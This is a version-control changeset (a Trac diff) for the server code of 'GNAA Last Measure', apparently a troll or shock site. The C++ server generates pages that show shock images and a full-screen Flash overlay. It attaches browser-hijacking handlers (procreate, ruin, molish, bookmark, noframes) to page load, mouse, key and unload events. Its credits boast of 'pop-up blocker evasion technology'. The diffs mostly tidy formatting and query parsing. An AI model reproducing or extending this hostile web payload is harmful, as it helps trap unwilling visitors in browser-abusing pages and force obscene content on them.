Changeset 568 for trollforge
- Timestamp:
- 01/11/12 22:26:57 (17 months ago)
- Location:
- trollforge/lastmeasure/server
- Files:
-
- 2 edited
-
lmresource.h (modified) (8 diffs)
-
lmserver.cpp (modified) (1 diff)
Legend:
- Unmodified
- Added
- Removed
-
trollforge/lastmeasure/server/lmresource.h
r567 r568 45 45 #else 46 46 /* Static soft images - 13 */ 47 "/soft/christmas.jpg", "/soft/pillowfight.jpg",48 "/soft/eww.jpg", "/soft/pooped.jpg",49 "/soft/freak.jpg", "/soft/rustina.jpg",50 "/soft/hello.jpg", "/soft/spin.gif",51 "/soft/lemonparty.jpg", "/soft/tubgirl.jpg",52 "/soft/loopback.jpg", "/soft/weightlifter.jpg",47 "/soft/christmas.jpg", "/soft/pillowfight.jpg", 48 "/soft/eww.jpg", "/soft/pooped.jpg", 49 "/soft/freak.jpg", "/soft/rustina.jpg", 50 "/soft/hello.jpg", "/soft/spin.gif", 51 "/soft/lemonparty.jpg", "/soft/tubgirl.jpg", 52 "/soft/loopback.jpg", "/soft/weightlifter.jpg", 53 53 "/soft/ouch.jpg", 54 54 #endif … … 116 116 117 117 /* Is this a pop-up? */ 118 /* TODO: Confirm this works. -- Leon */ 119 bool is_popup = strstr(resource, "?popup=1"); 118 bool is_popup = (strstr(query, "popup=1") > 0); 120 119 121 120 char const *flash; … … 137 136 " <title>GNAA Last Measure Live!</title>\r\n" 138 137 " <meta name=\"keywords\" content=\"" << Keywords(128) << "\" />\r\n" 139 " <script type=\"text/javascript\">" << JavaScript(host) << 138 " <meta name=\"description\" content=\"" << Keywords(20) << "\" />\r\n" 139 " <script type=\"text/javascript\">\r\n" << JavaScript(host) << 140 140 " </script>\r\n" 141 141 " <link rel=\"icon\" type=\"image/x-icon\" " 142 "href=\"http://" << host << "/favicon.ico\" />\r\n"142 "href=\"http://" << host << "/favicon.ico\" />\r\n" 143 143 " <link rel=\"shortcut icon\" type=\"image/x-icon\" " 144 "href=\"http://" << host << "/favicon.ico\" />\r\n"144 "href=\"http://" << host << "/favicon.ico\" />\r\n" 145 145 " <style type=\"text/css\">\r\n" 146 146 " html { height: 100%; width: 100%; overflow: hidden; }\r\n" … … 155 155 << RandomAsset("/soft/") << "); background-color: #FFFFFF;\"" 156 156 #endif 157 " onload=\"bookmark(); noframes(); load_goatse();" 158 " document.goatse.reset(); movew0w(); setTimeout('ruin()', 20);"; 157 "\r\n onload=\"bookmark(); noframes(); load_goatse(); document.goatse.reset(); movew0w(); "; 159 158 if (is_ie6) 160 data << "setTimeout('main()', 100); ";159 data << "setTimeout('main()', 100); "; 161 160 data << 162 " onmousemove=\"document.goatse.reset(); movew0w(); procreate();\"" 163 " onkeydown=\"molish(); procreate();\"" 164 " onunload=\"document.goatse.reset(); movew0w(); procreate();\"" 161 "setTimeout('ruin()', 20);\"\r\n" 162 " onmousemove=\"document.goatse.reset(); movew0w(); procreate();\"\r\n" 163 " onkeydown=\"molish(); procreate();\"\r\n" 164 " onunload=\"document.goatse.reset(); movew0w(); procreate();\"\r\n" 165 165 " onmouseover=\"document.goatse.reset(); movew0w(); procreate();\">\r\n"; 166 166 … … 225 225 226 226 for(size_t i = 0; i < audiocount; i++) { 227 data << " audio[" << (i+imagecount) << "] = 'http://" << host << " /audio/" << staticnames[i+imagecount] << "';\r\n";227 data << " audio[" << (i+imagecount) << "] = 'http://" << host << "" << staticnames[i+imagecount] << "';\r\n"; 228 228 } 229 229 … … 253 253 << "\">something else</a>.</p>" 254 254 #ifndef SOFT 255 << "<img src=\" " << RandomAsset("/images/") << "\" />"255 << "<img src=\"http://" << host << "" << RandomAsset("/images/") << "\" />" 256 256 #else 257 << "<img src=\" " << RandomAsset("/soft/") << "\" />"257 << "<img src=\"http://" << host << "" << RandomAsset("/soft/") << "\" />" 258 258 #endif 259 259 << "</body></html>"; … … 321 321 " credits += \"And much, much more!\\n\";\r\n" 322 322 " credits += \"\\n\\n\";\r\n" 323 " credits += \" Total, complete, all-versions, pop-up blocker bashing-to-pieces bygoat-see\\n\";\r\n"323 " credits += \"Pop-up blocker evasion technology by Armorfist and goat-see\\n\";\r\n" 324 324 " credits += \"hey.swf by rkz\\n\";\r\n" 325 325 " credits += \"lmserver by sam and LiteralKa\\n\";\r\n" … … 362 362 "}\r\n" 363 363 364 "goatseflash = '<div id=\"hello\" style=\"z-index: 50; position: fixed; top: 0px; left: 0px; width: 100%; height: 100%;\">';\r\n"365 "goatseflash += ' <object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\" width=\"100%\" height=\"100%\">';\r\n"366 "goatseflash += ' <param name=\"movie\" value=\"http://" << host << "/flash/hello.swf\" />'\r\n"367 "goatseflash += ' <param name=\"wmode\" value=\"transparent\" />';\r\n"368 "goatseflash += ' </object>'\r\n"369 "goatseflash += '</div>';\r\n"364 "goatseflash = \"<div id='hello' style='z-index: 50; position: fixed; top: 0px; left: 0px; width: 100%; height: 100%;'>\";\r\n" 365 "goatseflash += \" <object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0' width='100%' height='100%'>\";\r\n" 366 "goatseflash += \" <param name='movie' value='http://" << host << "/flash/hello.swf' />\";\r\n" 367 "goatseflash += \" <param name='wmode' value='transparent' />\";\r\n" 368 "goatseflash += \" </object>\";\r\n" 369 "goatseflash += \"</div>\";\r\n" 370 370 371 371 "function load_goatse() {\r\n" -
trollforge/lastmeasure/server/lmserver.cpp
r562 r568 203 203 204 204 /* Find information in the request */ 205 /* TODO: Perhaps make `query' an array. Example: 206 * `?u=dongs&popup=1' 207 * * query[0] = "u=dongs"; 208 * * query[1] = "popup=1"; 209 */ 205 210 char const *resource = "/", *query = "", 206 211 *agent = "Unknown", *host = "127.0.0.1";
Note: See TracChangeset
for help on using the changeset viewer.
